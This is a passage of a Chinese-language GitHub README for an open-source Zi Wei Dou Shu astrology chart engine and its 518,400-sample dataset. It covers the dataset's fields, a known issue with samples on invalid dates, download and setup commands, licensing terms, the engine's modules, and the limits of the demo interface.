<td>\u7537\u5973\u547d\u5dee\u5f02\u5316 100%\u3001\u5065\u5eb7\u542b\u5b50\u5348\u6d41\u6ce8 100%\u3001\u5973\u547d\u542b\u5987\u79d1\u4fdd\u517b 100%</td> \n  </tr> \n  <tr> \n   <td>\u53e3\u5f84</td> \n   <td>\u7531 <strong>v3 \u7248\u6392\u76d8\u5f15\u64ce + \u5f53\u671f\u65ad\u8bed\u5e93</strong>\u751f\u6210\uff1b\u7ebf\u4e0a\u5f15\u64ce\u5728\u6301\u7eed\u66f4\u65b0\uff0c\u65b0\u7248\u8f93\u51fa\u4e0e\u672c\u6570\u636e\u96c6\u53ef\u80fd\u6709\u5dee\u5f02</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u5b57\u6bb5\u53e3\u5f84</strong>\uff08\u6bcf\u6761\u6837\u672c\u7531 <code>birthInfo</code> \u751f\u6210\uff0c\u5e38\u88ab\u770b\u9519\u7684\u662f <code>hour</code>\uff09\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5b57\u6bb5</th> \n   <th>\u542b\u4e49</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>birthInfo.year</code> / <code>month</code> / <code>day</code></td> \n   <td><strong>\u516c\u5386</strong>\u51fa\u751f\u65e5\u671f\uff1a1924\u20131983 \u5e74\uff08\u4e00\u4e2a\u5b8c\u6574\u7532\u5b50\uff09\uff0c\u6bcf\u6708\u53d6 1\u201330 \u65e5</td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.hour</code></td> \n   <td><strong>\u65f6\u8fb0\u5e8f\u53f7 0\u201311</strong>\uff0c\u4e0d\u662f 0\u201323 \u70b9\u949f\uff1a\u5b50 = 0\u3001\u4e11 = 1 \u2026\u2026 \u4ea5 = 11</td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.gender</code></td> \n   <td><code>male</code> / <code>female</code></td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.longitude</code></td> \n   <td>\u56fa\u5b9a 120\uff08\u4e1c\u7ecf 120\u00b0\uff0c\u672a\u505a\u5404\u5730\u771f\u592a\u9633\u65f6\u6821\u6b63\uff09</td> \n  </tr> \n  <tr> \n   <td>\u6587\u4ef6\u540d <code>YYYY-MM-DD-hHH-\u6027\u522b.json</code></td> \n   <td>\u5176\u4e2d <code>hHH</code> \u540c\u6837\u662f\u65f6\u8fb0\u5e8f\u53f7\uff0c\u4f8b\u5982 <code>h11</code> \u662f\u4ea5\u65f6\uff0c\u4e0d\u662f\u4e0a\u5348 11 \u70b9</td> \n  </tr> \n </tbody> \n</table> \n<p>\u65f6\u8fb0\u5e8f\u53f7\u4e0e\u949f\u70b9\u5bf9\u7167\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5e8f\u53f7</th> \n   <th>0</th> \n   <th>1</th> \n   <th>2</th> \n   <th>3</th> \n   <th>4</th> \n   <th>5</th> \n   <th>6</th> \n   <th>7</th> \n   <th>8</th> \n   <th>9</th> \n   <th>10</th> \n   <th>11</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u65f6\u8fb0</td> \n   <td>\u5b50</td> \n   <td>\u4e11</td> \n   <td>\u5bc5</td> \n   <td>\u536f</td> \n   <td>\u8fb0</td> \n   <td>\u5df3</td> \n   <td>\u5348</td> \n   <td>\u672a</td> \n   <td>\u7533</td> \n   <td>\u9149</td> \n   <td>\u620c</td> \n   <td>\u4ea5</td> \n  </tr> \n  <tr> \n   <td>\u949f\u70b9</td> \n   <td>23\u20131</td> \n   <td>1\u20133</td> \n   <td>3\u20135</td> \n   <td>5\u20137</td> \n   <td>7\u20139</td> \n   <td>9\u201311</td> \n   <td>11\u201313</td> \n   <td>13\u201315</td> \n   <td>15\u201317</td> \n   <td>17\u201319</td> \n   <td>19\u201321</td> \n   <td>21\u201323</td> \n  </tr> \n </tbody> \n</table> \n<p>23:00\u201323:59 \u51fa\u751f\uff08\u665a\u5b50\u65f6\uff09\u6309\u6b21\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u53d6 0\uff1b00:00\u201300:59 \u51fa\u751f\uff08\u65e9\u5b50\u65f6\uff09\u6309\u5f53\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u540c\u6837\u53d6 0\u3002</p> \n<p><strong>\u5df2\u77e5\u95ee\u9898\uff1a\u7ea6 2,520 \u6761\u6837\u672c\u7684\u65e5\u671f\u5e76\u4e0d\u5b58\u5728\u3002</strong> \u751f\u6210\u65f6\u6bcf\u4e2a\u6708\u90fd\u53d6\u4e86 1\u201330 \u65e5\uff0c\u6240\u4ee5 2 \u6708 30 \u65e5\uff0c\u4ee5\u53ca\u975e\u95f0\u5e74\u7684 2 \u6708 29 \u65e5\u4e5f\u751f\u6210\u4e86\u6837\u672c\uff0c\u5171 105 \u4e2a\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 2 \u6027\u522b = 2,520 \u6761\uff0c\u5360 0.49%\u3002v3 \u5f15\u64ce\u9047\u5230\u8fd9\u7c7b\u65e5\u671f\u4e0d\u62a5\u9519\uff0c\u800c\u662f\u987a\u5ef6\u6210 3 \u6708 1\u20132 \u65e5\u6392\u76d8\uff0c\u6240\u4ee5\u8fd9\u4e9b\u6837\u672c\u7684\u5185\u5bb9\u4e0e\u5bf9\u5e94\u7684 3 \u6708 1\u20132 \u65e5\u6837\u672c\u91cd\u590d\u3002\u4f7f\u7528\u65f6\u8bf7\u8fc7\u6ee4\u6389\uff1a<code>month = 2</code> \u4e14 <code>day = 30</code>\uff0c\u6216 <code>month = 2</code> \u4e14 <code>day = 29</code> \u4e14\u8be5\u5e74\u4e0d\u662f\u95f0\u5e74\u3002\u5f15\u64ce\u4ece 2026-10-03 \u8d77\u4f1a\u76f4\u63a5\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u65e5\u671f\uff0c\u4e0b\u4e00\u7248\u6570\u636e\u96c6\u4e0d\u4f1a\u518d\u6709\u8fd9\u7c7b\u6837\u672c\u3002</p> \n<h3>2.2 \u4e0b\u8f7d\u65b9\u5f0f</h3> \n<p>\u524d\u5f80 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v3.0-samples\">Releases</a> \u4e0b\u8f7d\u4ee5\u4e0b\u6587\u4ef6\uff1a</p> \n<pre><code>ziwei-samples-v3-part1.zip.001  (1.9 GB)\nziwei-samples-v3-part2.zip.002  (1.9 GB)\nziwei-samples-v3-part3.zip.003  (1.8 GB)\nSHA256SUMS.txt                  (\u6821\u9a8c\u6587\u4ef6)\n</code></pre> \n<p>\u4e0b\u8f7d\u540e\u5408\u5e76\u89e3\u538b\uff1a</p> \n<pre><code class=\"language-bash\"># macOS / Linux\ncat ziwei-samples-v3-part*.zip.* &gt; combined.zip\nunzip combined.zip\n\n# Windows (PowerShell)\nGet-Content ziwei-samples-v3-part*.zip.* -Encoding Byte -ReadCount 0 | Set-Content combined.zip -Encoding Byte\nExpand-Archive combined.zip\n</code></pre> \n<h3>2.3 \u7528\u9014</h3> \n<ul> \n <li>\u5fae\u8c03\u5c0f\u6a21\u578b\u7684\u8bad\u7ec3\u8bed\u6599\uff0851.8 \u4e07 input-output \u914d\u5bf9\uff09</li> \n <li>AI \u5bf9\u8bdd\u7684 RAG \u68c0\u7d22\u6e90</li> \n <li>\u4fee\u6539 <code>patterns.ts</code> \u540e\u505a A/B \u57fa\u7ebf\u5bf9\u6bd4</li> \n <li>\u7d2b\u5fae\u6597\u6570\u7814\u7a76\u4e0e\u6570\u636e\u5206\u6790</li> \n</ul> \n<h3>2.4 \u6570\u636e\u8bb8\u53ef\u4e0e\u5f15\u7528</h3> \n<p>\ud83d\udcc2 <strong>\u5b8c\u5168\u5f00\u6e90 \u00b7 \u53ef\u81ea\u7531\u5546\u7528</strong> \u2014\u2014 \u4f60\u53ef\u4ee5\u5728\u4efb\u4f55\u9879\u76ee\u91cc\u4f7f\u7528\u8fd9\u5957\u6570\u636e\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a</p> \n<ul> \n <li>\u5546\u4e1a\u4ea7\u54c1 / SaaS / \u4ed8\u8d39\u5e94\u7528</li> \n <li>AI \u6a21\u578b\u5fae\u8c03\uff08\u5f00\u6e90\u6216\u95ed\u6e90\u6a21\u578b\u5747\u53ef\uff09</li> \n <li>\u4e8c\u6b21\u5f00\u53d1\u3001\u518d\u5206\u53d1\u3001\u884d\u751f\u6570\u636e\u96c6</li> \n <li>\u5b66\u672f\u7814\u7a76\u3001\u6280\u672f\u535a\u5ba2\u3001\u6559\u5b66\u8bfe\u7a0b</li> \n</ul> \n<p>\u65e0\u9700\u4ed8\u8d39\u3001\u65e0\u9700\u7533\u8bf7\u3001\u65e0\u9700\u4e8b\u5148\u544a\u77e5\u3002</p> \n<p><strong>\u552f\u4e00\u7684\u8981\u6c42\u662f\u4fdd\u7559\u6570\u636e\u6765\u6e90\u6807\u6ce8\uff08attribution\uff09</strong>\uff1a</p> \n<blockquote> \n <p>\u672c\u9879\u76ee\u4f7f\u7528\u4e86 <strong>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6837\u672c\u6570\u636e\u96c6 v3.0</strong>\uff08518,400 \u6761\uff09 \u6765\u6e90\uff1a<a href=\"https://github.com/Renhuai123/ziwei-doushu\">https://github.com/Renhuai123/ziwei-doushu</a> \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI</p> \n</blockquote> \n<p>\u653e\u5728\u54ea\u91cc\u90fd\u884c\uff1a</p> \n<ul> \n <li><strong>\u7f51\u9875 / \u4ea7\u54c1</strong>\uff1aAbout \u9875 / \u5173\u4e8e\u6211\u4eec / \u6570\u636e\u6765\u6e90 / \u9875\u811a\uff0c\u5199\u4e00\u884c\u94fe\u63a5\u5373\u53ef</li> \n <li><strong>AI \u6a21\u578b</strong>\uff1a\u6a21\u578b\u5361\uff08Model Card\uff09\u6216\u6570\u636e\u96c6\u5361\uff08Dataset Card\uff09\u7684 \"Training Data\" \u5b57\u6bb5</li> \n <li><strong>\u5b66\u672f\u8bba\u6587</strong>\uff1a\u53c2\u8003\u6587\u732e\u6216\u81f4\u8c22\u7ae0\u8282</li> \n <li><strong>\u4e8c\u6b21\u53d1\u5e03\u7684\u6570\u636e\u96c6</strong>\uff1aREADME \u6216 metadata \u6587\u4ef6\u91cc\u6ce8\u660e\u4e0a\u6e38\u6765\u6e90</li> \n</ul> \n<p>\u4ec5\u6b64\u4e00\u6761\uff0c\u5176\u4f59\u90fd\u81ea\u7531\u3002\u5b8c\u6574\u6761\u6b3e\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">DATASET-LICENSE</a>\u3002\u5e0c\u671b\u8fd9\u5957\u6570\u636e\u80fd\u5e2e\u4f60\u505a\u51fa\u597d\u4e1c\u897f \u2014\u2014 \u505a\u51fa\u6765\u8bb0\u5f97\u6765\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c <strong>@\u738b\u591a\u9c7cAI</strong> \u6253\u4e2a\u62db\u547c \ud83d\udc4b</p> \n<hr /> \n<h2>\u4e09\u3001\u5feb\u901f\u5f00\u59cb</h2> \n<pre><code class=\"language-bash\"># \u514b\u9686\ngit clone https://github.com/Renhuai123/ziwei-doushu.git\ncd ziwei-doushu\n\n# \u5b89\u88c5\u4f9d\u8d56\nnpm install\n\n# \u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff08\u53ea\u770b\u6392\u76d8\u53ef\u4ee5\u8df3\u8fc7\uff1bAI \u914d\u7f6e\u4ec5\u5728\u4f60\u81ea\u5df1\u5b9e\u73b0\u4e86 /api/* \u63a5\u53e3\u65f6\u624d\u7528\u5f97\u4e0a\uff09\ncp .env.example .env.local\n\n# \u542f\u52a8\u5f00\u53d1\u670d\u52a1\u5668\nnpm run dev\n</code></pre> \n<p>\u672c\u5730\u9a8c\u8bc1\uff1a</p> \n<pre><code class=\"language-bash\">npm run typecheck   # TypeScript \u5168\u91cf\u7c7b\u578b\u68c0\u67e5\nnpm test            # \u6392\u76d8\u5f15\u64ce\u56de\u5f52\uff08768 \u76d8 \u00d7 \u7d2b\u5fae\u94c1\u5f8b\u3001\u590f\u4ee4\u65f6\u3001\u7acb\u6625\u8fb9\u754c\u3001\u7ea2\u9e3e\u5929\u559c\u3001\u6837\u672c\u65f6\u8fb0\u4e00\u81f4\u6027\u3001\u65f6\u8fb0\u5e8f\u53f7\u8fb9\u754c\u3001\u65e5\u671f\u5408\u6cd5\u6027\u3001\u540c\u5bab\u53cc\u56db\u5316\uff09\n</code></pre> \n<p>\u6bcf\u6b21 push \u4e0e PR \u90fd\u4f1a\u5728 GitHub Actions \u4e0a\u8dd1\u540c\u4e00\u5957\uff08\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/.github/workflows/ci.yml\"><code>.github/workflows/ci.yml</code></a>\uff09\u3002</p> \n<blockquote> \n <p><strong>\u6ce8\u610f\uff1a\u5f00\u6e90\u7248\u4e0d\u542b\u540e\u7aef API \u8def\u7531\u3002</strong>\u6392\u76d8\u3001\u547d\u76d8\u5c55\u793a\u3001\u5408\u76d8\u8d77\u76d8\u90fd\u5728\u6d4f\u89c8\u5668\u91cc\u7528\u672c\u4ed3\u5e93\u7684\u5f15\u64ce\u5b8c\u6210\uff0c<strong>\u4e0d\u9700\u8981\u4efb\u4f55 API Key</strong>\u3002AI \u89e3\u8bfb\uff08<code>/api/interpret</code>\uff09\u548c\u5408\u76d8 AI \u5206\u6790\uff08<code>/api/heming</code>\uff09\u9700\u8981\u4f60\u81ea\u5df1\u5b9e\u73b0\u63a5\u53e3\uff1b\u6ca1\u5b9e\u73b0\u4e4b\u524d\uff0c\u8fd9\u4e24\u5904\u4f1a\u76f4\u63a5\u63d0\u793a\u300c\u5f00\u6e90\u7248\u4e0d\u542b\u8be5\u63a5\u53e3\u300d\uff0c\u914d\u7f6e API Key \u4e5f\u4e0d\u4f1a\u53d8\u6210\u53ef\u7528\uff08#30 \u5c31\u662f\u8fd9\u4e2a\u539f\u56e0\uff09\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u56db\u3001\u6392\u76d8\u5f15\u64ce</h2> \n<p>\u6392\u76d8\u5185\u6838\u5168\u90e8\u5728 <code>lib/ziwei/</code>\u3002</p> \n<h3>4.1 \u80fd\u505a\u5230\u4ec0\u4e48\uff08\u4e0e\u5e38\u89c1\u6392\u76d8\u5e93\u7684\u5dee\u5f02\uff09</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u80fd\u529b</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>\u771f\u592a\u9633\u65f6\u6821\u6b63</strong></td> \n   <td>\u6309\u51fa\u751f\u5730\u7ecf\u5ea6\u7b97\u65f6\u5dee + \u5747\u65f6\u5dee\uff0c\u907f\u514d\u4e1c\u897f\u5411\u5dee\u4e00\u4e2a\u65f6\u8fb0</td> \n  </tr> \n  <tr> \n   <td><strong>\u4e2d\u56fd\u590f\u4ee4\u65f6</strong></td> \n   <td>1986\u20131991 \u5e74\u7684\u590f\u4ee4\u65f6\u533a\u95f4\u81ea\u52a8\u6263\u9664</td> \n  </tr> \n  <tr> \n   <td><strong>\u95f0\u6708\u56db\u79cd\u53e3\u5f84</strong></td> \n   <td>\u95f0\u6708\u5f52\u524d\u6708 / \u5f52\u540e\u6708 / \u6309\u65e5\u5207\u5206 / \u6309\u672c\u6708\uff0c\u53ef\u914d\u7f6e\uff0c\u4e0d\u5199\u6b7b\u4e00\u6d3e</td> \n  </tr> \n  <tr> \n   <td><strong>\u665a\u5b50\u65f6\u6362\u65e5</strong></td> \n   <td>23:00\u201323:59 \u6309\u6b21\u65e5\u6392\u76d8\u300100:00\u201300:59 \u6309\u672c\u65e5\uff1b\u6362\u65e5\u7b56\u7565\u53ef\u5207\u6362</td> \n  </tr> \n  <tr> \n   <td><strong>\u661f\u66dc\u4eae\u5ea6 7 \u6863</strong></td> \n   <td>\u5e99 / \u65fa / \u5f97 / \u5229 / \u5e73 / \u4e0d / \u9677\uff0c\u53e6\u4fdd\u7559 3 \u6863\u7c97\u5206\u7c7b\u505a\u663e\u793a\u964d\u7ea7</td> \n  </tr> \n  <tr> \n   <td><strong>\u4eae\u5ea6\u6d41\u6d3e\u53ef\u5207\u6362</strong></td> \n   <td>\u4e0d\u540c\u6d41\u6d3e\uff08\u542b\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u7684\u4e0d\u540c\u7248\u672c\uff09\u5bf9\u8f85\u661f\u4eae\u5ea6\u5224\u6cd5\u4e0d\u4e00\u81f4\uff0c\u505a\u6210\u5f00\u5173\u800c\u975e\u5199\u6b7b</td> \n  </tr> \n  <tr> \n   <td><strong>\u56db\u5316\u4e0e\u98de\u661f</strong></td> \n   <td>\u751f\u5e74\u56db\u5316\u3001\u5927\u9650 / \u6d41\u5e74\u56db\u5316\u3001\u98de\u661f\u81ea\u5316</td> \n  </tr> \n  <tr> \n   <td><strong>\u5341\u4e8c\u795e\u715e</strong></td> \n   <td>\u672c\u547d\u5c42\u6309\u751f\u5e74\u652f\u8d77\uff0c\u6d41\u5e74\u5c42\u6539\u6309\u6d41\u5e74\u652f\u8d77</td> \n  </tr> \n  <tr> \n   <td><strong>\u683c\u5c40\u5224\u5b9a</strong></td> \n   <td>1100+ \u884c\u89c4\u5219\u5e93\uff08\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\uff09</td> \n  </tr> \n </tbody> \n</table> \n<h3>4.2 \u6587\u4ef6\u600e\u4e48\u5206</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u6587\u4ef6</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>algorithm.ts</code></td> \n   <td>\u5b8c\u6574\u6392\u76d8\u6d41\u7a0b\uff1a\u5b89\u547d\u5bab\u3001\u5b9a\u4e94\u884c\u5c40\u3001\u5b89\u5341\u56db\u4e3b\u661f\u3001\u5b89\u8f85\u661f\u3001\u6392\u5927\u9650\u6d41\u5e74</td> \n  </tr> \n  <tr> \n   <td><code>constants.ts</code></td> \n   <td>\u5929\u5e72\u5730\u652f\u3001\u5341\u56db\u4e3b\u661f\u3001\u8f85\u661f\u5e38\u91cf</td> \n  </tr> \n  <tr> \n   <td><code>sihua.ts</code></td> \n   <td>\u56db\u5316\u98de\u661f\u7cfb\u7edf\uff08\u7984\u6743\u79d1\u5fcc\uff09\uff0c\u542b\u5404\u5929\u5e72\u56db\u5316\u5bf9\u7167\u8868</td> \n  </tr> \n  <tr> \n   <td><code>patterns.ts</code></td> \n   <td><strong>1100+ \u884c\u683c\u5c40\u77e5\u8bc6\u5e93</strong>\uff1a\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\u7ecf\u5178\u683c\u5c40\u5224\u5b9a\u89c4\u5219</td> \n  </tr> \n  <tr> \n   <td><code>heming-knowledge.ts</code></td> \n   <td>\u5408\u76d8\u65b9\u6cd5\u8bba\uff1a\u502a\u5e08\u4f53\u7cfb\u4e0b\u53cc\u76d8\u6bd4\u5bf9\u903b\u8f91</td> \n  </tr> \n  <tr> \n   <td><code>types.ts</code></td> \n   <td>TypeScript \u7c7b\u578b\u5b9a\u4e49</td> \n  </tr> \n  <tr> \n   <td><code>cities.ts</code></td> \n   <td>\u4e2d\u56fd\u57ce\u5e02\u7ecf\u7eac\u5ea6\uff0c\u7528\u4e8e\u771f\u592a\u9633\u65f6\u6821\u6b63</td> \n  </tr> \n  <tr> \n   <td><code>famous.ts</code></td> \n   <td>\u5386\u53f2\u540d\u4eba\u547d\u76d8\u793a\u4f8b\u6570\u636e</td> \n  </tr> \n  <tr> \n   <td><code>school-data.ts</code> / <code>school-tables.generated.ts</code> / <code>school-config.ts</code></td> \n   <td>\u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e</td> \n  </tr> \n  <tr> \n   <td><code>shier-shen.ts</code></td> \n   <td>\u5341\u4e8c\u795e\u715e\uff08\u672c\u547d\u6309\u751f\u5e74\u652f\u8d77\u3001\u6d41\u5e74\u5c42\u6309\u6d41\u5e74\u652f\u8d77\uff09</td> \n  </tr> \n  <tr> \n   <td><code>true-solar-time.ts</code></td> \n   <td>\u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09</td> \n  </tr> \n  <tr> \n   <td><code>dst-cn.ts</code></td> \n   <td>\u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6\u5e74\u4efd\u4e0e\u533a\u95f4</td> \n  </tr> \n  <tr> \n   <td><code>yunxian-context.ts</code></td> \n   <td>\u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\u5904\u7406\uff09</td> \n  </tr> \n  <tr> \n   <td><code>lunar-solar.ts</code></td> \n   <td>\u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp</td> \n  </tr> \n </tbody> \n</table> \n<h3>4.3 \u53e4\u7c4d\u539f\u6587\uff08<code>lib/classics/</code>\uff09</h3> \n<ul> \n <li><strong>\u9aa8\u9ad3\u8d4b</strong>\uff08<code>gusuifu.ts</code>\uff09\u2014 \u7d2b\u5fae\u6597\u6570\u6838\u5fc3\u6b4c\u8bc0</li> \n <li><strong>\u7d2b\u5fae\u6597\u6570\u5168\u96c6</strong>\uff08<code>quanji.ts</code>\uff09\u2014 \u6e05\u4ee3\u53e4\u672c</li> \n <li><strong>\u7d2b\u5fae\u6597\u6570\u5168\u4e66</strong>\uff08<code>quanshu.ts</code>\uff09\u2014 \u9648\u5e0c\u5937\u4f20\u672c</li> \n</ul> \n<h3>4.4 SEO \u77e5\u8bc6\u56fe\u8c31\uff08<code>lib/seo/</code>\uff09</h3> \n<p>14 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\u7684\u7ed3\u6784\u5316\u77e5\u8bc6\u6570\u636e\uff0c\u53ef\u7528\u4e8e\u5185\u5bb9\u751f\u6210\u6216\u77e5\u8bc6\u5e93\u6784\u5efa\u3002</p> \n<hr /> \n<h2>\u4e94\u3001\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd</h2> \n<p><img alt=\"\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u4e00\u56fe\u770b\u5168\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/overview.png\" /></p> \n<p>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u7d2b\u5fae\u6597\u6570\u90e8\u5206\u7684\u539f\u8bdd\u5171 <strong>1848 \u6761</strong>\uff1a\u6b63\u8bfe 14 \u8bb2\uff08\u7b2c 2\u201315 \u8bb2\u4e0a\u534a\uff09\u52a0 2 \u6bb5\u8865\u5145\uff0c\u6309\u8bb2\u5206\u6210 16 \u4e2a\u6587\u4ef6\uff0c\u653e\u5728 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/\"><code>docs/tianji-ziwei/</code></a>\u3002\u6bcf\u6761\u90fd\u5e26\u51fa\u5904\u65f6\u95f4\uff0c\u70b9\u4e00\u4e0b\u5c31\u8df3\u56de B \u7ad9\u539f\u89c6\u9891\u7684\u90a3\u4e00\u79d2\u3002</p> \n<ul> \n <li><strong>\u600e\u4e48\u8bfb</strong>\uff1a\u5148\u5728\u4e0a\u56fe\u91cc\u627e\u5230\u60f3\u770b\u7684\u4e3b\u9898\uff0c\u518d\u70b9\u8fdb\u5bf9\u5e94\u90a3\u4e00\u8bb2\uff0c\u6bd4\u5982 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/5%E4%B8%8A.md\">5\u4e0a</a>\uff08\u7d2b\u5fae\u5728\u5b50\uff09\u3001<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/13%E4%B8%8A.md\">13\u4e0a</a>\uff08\u6740\u7834\u72fc\u3001\u79d1\u6743\u7984\u4e09\u4f1a\uff09\u3002</li> \n <li><strong>\u4ece\u54ea\u6765</strong>\uff1a\u53d6\u81ea\u59ca\u59b9\u4ed3\u5e93 <a href=\"https://github.com/Renhuai123/nihai-tianji-corpus\">nihai-tianji-corpus</a>\uff0c\u4ee5\u8bed\u6599\u5e93\u4e3a\u51c6\uff0c\u4f1a\u968f\u8bed\u6599\u5e93\u540c\u6b65\u3002</li> \n <li><strong>\u80fd\u4e0d\u80fd\u5546\u7528</strong>\uff1a<strong>\u4e0d\u80fd</strong>\u3002\u8fd9\u4e00\u7ae0\u7684\u5185\u5bb9\u5355\u72ec\u91c7\u7528 CC BY-NC-SA 4.0\uff0c\u8be6\u89c1<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B9%9D%E5%8D%8F%E8%AE%AE\">\u4e5d\u3001\u534f\u8bae</a>\u3002</li> \n</ul> \n<hr /> \n<h2>\u516d\u3001\u754c\u9762\u662f\u4e00\u4efd Demo</h2> \n<p>\u754c\u9762\u4ee3\u7801\u5728 <code>app/</code> \u4e0e <code>components/</code>\u3002\u4ed3\u5e93\u91cc\u7684\u754c\u9762\u662f<strong>\u4e00\u5957\u6700\u5c0f\u53ef\u8fd0\u884c\u793a\u4f8b</strong>\uff0c\u4f5c\u7528\u662f\u628a\u6392\u76d8\u5f15\u64ce\u8dd1\u8d77\u6765\u3001\u628a\u76d8\u753b\u51fa\u6765\uff0c\u65b9\u4fbf\u4f60\u5728\u5b83\u57fa\u7840\u4e0a\u505a\u81ea\u5df1\u7684\u4ea7\u54c1\u3002<strong>\u7ebf\u4e0a\u5546\u4e1a\u7248\u7684\u754c\u9762\u4e0d\u5728\u5f00\u6e90\u8303\u56f4\u5185</strong>\uff0c\u4e24\u8005\u5dee\u8ddd\u5f88\u5927\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u9875\u9762 / \u7ec4\u4ef6</th> \n   <th>\u672c\u4ed3\u5e93\uff08Demo\uff09</th> \n   <th>\u7ebf\u4e0a\u5546\u4e1a\u7248</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u6392\u76d8\u9875 <code>app/chart/page.tsx</code></td> \n   <td>75 \u884c</td> \n   <td>1227 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u89e3\u8bfb\u9762\u677f <code>InsightPanel</code></td> \n   <td>467 \u884c</td> \n   <td>5088 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u547d\u76d8\u65b9\u683c <code>ChartBoard</code></td> \n   <td>285 \u884c</td> \n   <td>1334 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u5bab\u4f4d\u683c <code>PalaceCell</code></td> \n   <td>201 \u884c</td> \n   <td>1192 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u5408\u76d8\u9875 <code>app/heming/page.tsx</code></td> \n   <td>368 \u884c</td> \n   <td>1937 \u884c</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Demo \u80fd\u8dd1\u901a\u7684</strong>\uff1a\u51fa\u751f\u4fe1\u606f\u8868\u5355\u3001\u547d\u76d8\u65b9\u683c\u4e0e\u5bab\u4f4d\u8be6\u60c5\u3001\u672c\u547d / \u5927\u9650 / \u6d41\u5e74\u5207\u6362\u3001\u53e4\u7c4d\u9605\u8bfb\u5668\uff08\u5168\u6587\u641c\u7d22\uff09\u3001\u547d\u7406\u767e\u79d1\uff0814 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\uff09\u3001\u4eae\u6697\u4e3b\u9898\u3001\u79fb\u52a8\u7aef\u9002\u914d\u3002</p> \n<p><strong>Demo \u91cc\u6ca1\u6709\u7684</strong>\uff1a\u7ebf\u4e0a\u91cd\u505a\u8fc7\u7684\u4ea4\u4e92\u754c\u9762\u3001AI \u6d41\u5f0f\u89e3\u8bfb\u3001\u5408\u76d8\u56fe\u8c31\u3001\u5206\u4eab\u5361\u7247\uff0c\u4ee5\u53ca<strong>\u65ad\u8bed\u5185\u5bb9\u672c\u8eab</strong>\uff08<code>db-analysis.ts</code> \u662f\u5360\u4f4d\u5b9e\u73b0\uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0cDemo \u753b\u5f97\u51fa\u76d8\uff0c\u4f46\u7ed9\u4e0d\u51fa\u7ebf\u4e0a\u90a3\u5957\u89e3\u8bfb\u3002</p> \n<hr /> \n<h2>\u4e03\u3001\u5f00\u6e90\u8fb9\u754c\uff1a\u4ec0\u4e48\u4e0d\u5728\u91cc\u9762</h2> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>\u5185\u5bb9</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u2705 <strong>\u5f00\u6e90</strong></td> \n   <td>\u6392\u76d8\u5f15\u64ce\uff08<code>lib/ziwei/</code>\uff09\u3001\u53e4\u7c4d\u516c\u7248\u539f\u6587\uff08<code>lib/classics/</code>\uff09\u3001SEO \u77e5\u8bc6\u56fe\u8c31\uff08<code>lib/seo/</code>\uff09\u3001Demo \u754c\u9762\u300151.8 \u4e07\u6837\u672c\u6570\u636e\u96c6\u300113 